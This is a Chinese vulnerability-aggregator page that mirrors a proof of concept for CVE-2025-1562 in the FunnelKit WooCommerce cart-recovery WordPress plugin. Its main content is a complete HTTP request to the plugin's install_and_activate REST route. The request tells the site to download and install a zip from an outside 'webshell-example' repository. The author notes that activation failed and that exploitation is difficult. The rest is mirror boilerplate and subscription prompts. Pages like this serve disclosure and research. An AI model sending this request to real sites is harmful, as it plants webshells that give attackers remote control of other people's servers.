CVE-2025-1562 PoC — WordPress plugin Recover WooCommerce Cart Abandonment, Newsletter, Email Marketing, Marketing Automation By FunnelKit 安全

来源

https://github.com/gmh5225/CVE-2025-1562

关联漏洞

标题: WordPress plugin Recover WooCommerce Cart Abandonment, Newsletter, Email Marketing, Marketing Automation By FunnelKit 安全漏洞 (CVE-2025-1562)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin Recover WooCommerce Cart Abandonment, Newsletter, Email Marketing, Marketing Automation By FunnelKit 3.5.3及之前版本存在

介绍

# CVE-2025-1562


```
POST /index.php?rest_route=%2Fautonami-app%2Fplugin%2Finstall_and_activate&bwf-nonce=0f2449cddf9a7d692627071cfdef9ecf HTTP/2
Host: wp.192.168.31.110.nip.io
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: application/json
Content-Type: application/json
Content-Length: 117

{
  "action": "install",
  "url": "https://github.com/maximo896/webshell-example/raw/refs/heads/main/suffer.zip"
}
```

无权限激活插件，无法直接获取到插件路径，利用难度大
unable to activate evil plugin, unable to retrieve the plugin path, difficult to attach

文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看

备注

1. 建议优先通过来源进行访问。

2. 本地 POC 快照面向订阅用户开放；当原始来源失效或无法访问时，本地镜像作为订阅权益的一部分提供。

查看订阅方案 →

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

CVE-2025-1562 PoC — WordPress plugin Recover WooCommerce Cart Abandonment, Newsletter, Email Marketing, Marketing Automation By FunnelKit 安全

来源

关联漏洞

介绍

文件快照

备注

目标达成感谢每一位支持者 — 我们达成了 100% 目标！